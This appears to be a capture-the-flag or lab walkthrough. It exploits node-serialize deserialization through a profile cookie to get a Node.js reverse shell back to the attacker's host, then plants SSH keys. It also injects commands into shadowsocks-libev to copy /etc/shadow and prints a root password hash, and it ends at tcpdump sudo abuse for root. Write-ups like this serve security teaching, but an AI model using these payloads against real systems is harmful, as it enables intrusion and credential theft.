Upon further examiniation as to what could've triggered that behavior it became apparent that their service is setting a cookie profile, containing some sort of base64 encoded string

Which decodes to the following JSON object.
'{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}7'
As we can see, there are obvious typos which will break JSON interpreter. What is more important at this point is that we have Something that breaks!!!! and so let's try using it to our advantage!
Exploitation
Getting a low-level shell
Checking the source code for serialize.js we confirm that it breaks while trying to de-serialize our cookie value (JSON.parse(obj)
unserialize = function(obj, originObj) {
var isIndex;
if (typeof obj === 'string') {
obj = JSON.parse(obj);
isIndex = true;
}
But the more critical find inside that source is the following function which shows that if we fix our serialization error we may be able to get nodejs to execute an arbitrary piece of code!
} else if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
And as a proof-of-concept I'll use the exploit to do something fun - bring down the server! (or in more technical terms - force the server process to exit)
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","execs":"_$$ND_FUNC$$_process.exit(0)"}
Refreshing the browser we now get Unable to connect - one of few times when this message is actually a good sight :)
<<< add more details what did not work and where to get more info on the subject .>>>
After trying and tweaking a few different pieces of code this is the one that ended up working for me (192.168.56.200 is the IP of my client / kali machine:
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "192.168.56.200", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
Before you can pass that as a Cookie value you need to compact that code into a string (I'm using http://jdstiles.com/java/cct.html but I'm sure there're better ways to do it, even off-line)
Compacting the above give us this

N.B. You can also use https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py to generate payload. Something I found but did not end up using all the way.
Kicked off a nc session on my client / kali host. Plugged in the encoded value into the profile cookie, refreshed the page and yei! we have a shell!
root@blaksec:# nc -vvnl -p 1337
listening on [any] 1337 ...

python -c 'import pty; pty.spawn("/bin/bash")'

Personally I find nc shells a bit annoying and try to secure a more common way to log in whenever I get a change. In this case I'll set up a key-pair, grab user's private key and use it to log in to the host from now on.
nodeadmin@localhost:~ ssh-keygen
.... magic ....
nodeadmin@localhost:~ cat ~/.ssh/id_rsa.pub > ~/.ssh/authorized_keys
nodeadmin@localhost:~ cat ~/.ssh/id_rsa << copy/paste the output locally as ~root/.ssh/doom.id_rsa
Now let's try ssh from our kali box
# ssh -i ~/.ssh/doom.id_rsa nodeadmin@192.168.56.101

Tried a few things w/out much success
- No sudo for nodeadmin
- No SUID executables to exploit
- No access to /etc/shadow
- No access to fireman account but at least we know it exists
Taking a look at the process table

Checking google for "site: exploit-db.com shadowsocks-libev 3.1.0" brings us to https://www.exploit-db.com/exploits/43006/ (X41 D-Sec GmbH Security Advisory: X41-2017-010)
Proof-of-concept:

add: {"server_port":8003, "password":"test", "method":"||cat /etc/shadow >

And looks like we're in luck - /tmp/.8kdf82llsdfjlasdfdsdf contains a copy of /etc/shadow with all the hashes!
Google did not return anything for root:$6$jA85omnRVznNFM4j$voN29bYWJUlRbxgsqia46oC9IK/mdRK5B.IYUrJYs196sfA3ye3rSV790EoD76ABKu29CdtnAXQtIAo6OpNWc1 so I spun out a copy of john to run in background while I try to acquire additional access laterally.
Back to that shadowsocks-libdev to try few more things
First things first - let's see what this fireman account is about. For this I'll inject user's authorized_keys with my public key
[nodeadmin@localhost bin]$ nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||cat /tmp/id_rsa.pub > ~/.ssh/authorized_keys && cat ~/.ssh/authorized_keys > /tmp/fireman||"}
ok

OK so looks like we can do a little more with as fireman
[fireman@localhost ~]$ sudo -l
Matching Defaults entries for fireman on localhost:
!visiblepw, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT

User fireman may run the following commands on localhost:
(ALL) NOPASSWD: /sbin/iptables
(ALL) NOPASSWD: /usr/bin/nmcli
(ALL) NOPASSWD: /usr/sbin/tcpdump
From here it is a text-book sudo abuse - we'll exploit tcpdump ability to execute external command. The original idea behind the feature is to allow for post-rotation processing of dump files (e.g. compressing with gzip). We'll use that feature for something more fun - we will give us rights to execute any command as root!
